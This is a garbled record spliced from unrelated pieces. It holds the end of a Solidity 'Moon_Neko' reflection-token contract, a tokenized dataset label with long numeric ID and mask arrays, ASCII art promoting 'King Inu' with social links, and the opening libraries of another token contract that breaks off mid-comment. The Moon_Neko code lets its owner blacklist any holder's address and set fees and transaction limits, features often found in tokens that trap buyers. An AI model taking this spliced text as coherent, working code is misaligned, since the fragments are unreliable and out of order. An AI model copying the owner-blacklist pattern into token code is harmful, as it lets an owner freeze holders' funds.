mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Moon_Neko";
string private constant _symbol = 'MNeko';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 7;
uint256 private _teamFee = 8;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5757,
1011,
2184,
1008,
1013,
1013,
1008,
16962,
16962,
1040,
2361,
4160,
2497,
1040,
2361,
2620,
2497,
1022,
2497,
26171,
1035,
1035,
1035,
1035,
1035,
1040,
2361,
1035,
6070,
6070,
1013,
1012,
1036,
1052,
1053,
1005,
1012,
1032,
1012,
1005,
1012,
1012,
1011,
1012,
1010,
1011,
1012,
1036,
1011,
1011,
1012,
1064,
1012,
1013,
1014,
1032,
1013,
1014,
1032,
1064,
1032,
1064,
1012,
1036,
1012,
1035,
1035,
1035,
1035,
1035,
1012,
1005,
1064,
1032,
1032,
1013,
1064,
1012,
1000,
1064,
1006,
1032,
1012,
1036,
1011,
1005,
1011,
1005,
1010,
1005,
1064,
1035,
1013,
1036,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1005,
1012,
1012,
1064,
1013,
1012,
1032,
1032,
1024,
1024,
1006,
1024,
1024,
1031,
1033,
1025,
1007,
1064,
1064,
1012,
1012,
1032,
1013,
1012,
1005,
1032,
1012,
1036,
1024,
1025,
1025,
1025,
1025,
1005,
1005,
1005,
1013,
1036,
1012,
1012,
1064,
1064,
1012,
1064,
1013,
1036,
1025,
1011,
1011,
1012,
1035,
1012,
1035,
1035,
1013,
1064,
1012,
1012,
1064,
1064,
1012,
1035,
1013,
1035,
1010,
1005,
1005,
1005,
1005,
1010,
1010,
1036,
1012,
1036,
1024,
1012,
1005,
1064,
1012,
1036,
1013,
1010,
1005,
1010,
1036,
1012,
1064,
1013,
1032,
1012,
1011,
1005,
1013,
1032,
1013,
1005,
1010,
1032,
1064,
1032,
1013,
1032,
1035,
1035,
1011,
1005,
1013,
1032,
1013,
1010,
1012,
1064,
1012,
1032,
1013,
1012,
1012,
1064,
1005,
1013,
1011,
1012,
1010,
1024,
1064,
1012,
1012,
1032,
1024,
1012,
1012,
1064,
1013,
1064,
1064,
1010,
1010,
1064,
1064,
1012,
1012,
1012,
1024,
1064,
1012,
1012,
1036,
1064,
1005,
1013,
1013,
1036,
1010,
1024,
1064,
1012,
1012,
1064,
1064,
1012,
1012,
1012,
1032,
1013,
1013,
1032,
1013,
1010,
1064,
1012,
1012,
1012,
1064,
1032,
1012,
1012,
1032,
1026,
1012,
1013,
1010,
1005,
1012,
1012,
1012,
1013,
1032,
1035,
1010,
1012,
1012,
1036,
1012,
1035,
1035,
1035,
1010,
1012,
1012,
1010,
1012,
1035,
1013,
1036,
1032,
1064,
1064,
1064,
1013,
1036,
1011,
1011,
1005,
1032,
1064,
1064,
1064,
1013,
1005,
4189,
4888,
2053,
3653,
12002,
2063,
3693,
2256,
23921,
1024,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
4231,
2638,
3683,
7245,
24108,
2140,
2204,
6735,
2006,
4888,
999,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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MMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM0' ;xxo. :XK; ,kK0kxxd; .kWo .cxxc..dWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMWWMMMMMMMMMWO;... .c' ;k000kxxkx; .:' ...,dNMMMMMMMMMMWMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMXxc;,;:cldOXWMMMMWKk, ,d;..:O0000kxxxxxc. .c, .o0NMMMMMN0xoc:;,;cdKWMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMWKl. .,::;,...;d0WMMMMx..xKxxO00000kxxxxxxooxd. cNMMMWXxc'..';;:;. .:kNMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMXo. ... .,lkkkdl;..;kNMMX; cKK0000000kxxxxkxxxxc .OMMWOc..'coxkkd:..... .:0WMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMM0; .,cc:;.. 'lxkkOkl'.,xNMd..kX0000000kxxxxxxxkd' cNWO:..:xOOkxo;. .,:cc;. .xWMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMO' .:cccccc:' ,okkkOOo..;OK, lXK00OOOkxdddxxxxkc..kKl..:k0Okkx:. .;ccccccc' .dWMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMM0, 'lddolccccc;. .cxkkk0Oc..o: .::,'..........',,. 'o, ,x0Okkko' .,:ccccloodo; .xWMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMNc .lddddddocccc:' .:xkkxol. ..',:cloodddddoolc:;'.. .:odxkkl. .:cccclodddddd, '0MMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMk..:dddddddddocccc,. ,:,...,coxO0KXXXXXXXXXXXXXXXXKOxdl;'..':;. ':ccclodddddddxl. lWMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMNc 'oddddddddddocc:;. .,ldkOOOkOKXXXXXXXXXXXXXXXXXKOkOO0Oxo;. .,:cclddddddddddd; '0MMMMMMMMMMMMMM //
// MMMMMMMMMMMMM0' ;dddddddddolc:,. .;lxOOkkkkkkkO0KKKKXXXXXXXKKKK0OkkkkkkkOOkd:. .';cloddddddddxc..xMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMk..:xddddddolc;...'lxOkkkkkkkkkkkkkkkOOOO000OOOOOkkkkkkkkkkkkkkOko;. .,:loddddddxl. oWMMMMMMMMMMMMM //
// MMMMMMMMMMMMMx..cxddddolc;. .;okkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkd:. .,:lodddddo. lWMMMMMMMMMMMMM //
// MMMMMMMMMMMMMk..cxdddlc;. .;okkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx:. .,clodddo. lWMMMMMMMMMMMMM //
// MMMMMMMMMMMMMO. :xdoc:'. ,okkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkd:. .;cldxl. oMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMK, ,olc;. .cxkkkkkkkkkkkkkOO000OkkkkkkkkkkkkkkkkkkkkkOO000Okkkkkkkkkkkkkko' ':loc..xMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMNc .::' .;dkkkkkkkkkkkkkkOXWWWWWNK0kkkkkkkkkkkkkkkOKXNWMWWN0kkkkkkkkkkkkkkxc. .;c' ,0MMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMk. .. .cxkkkkkkkkkkkkkkkk0XNWMMMWN0kkkkkkkkkkkkkOXWWMMWWNKOkkkkkkkkkkkkkkkko' .'. lWMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMN: 'okkkkkkkkkkkkkkkkkkkkO00KK0OkkkkkkkkkkkkkkkO0KK00Okkkkk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kxxdolcc:;,....,cdOXWMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNKOdlc;,,'.........'''''''''''..........',;:ldk0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWWNK00OkxdddooooooooooodddxkOO0KXNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM King Inu - One Inu to rule them All! MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM https://t.me/king_inu MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM http://kinginu.io MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM https://twitter.com/KingInuofficial MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
// silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {codehash := extcodehash(account)}
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value : amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value : weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
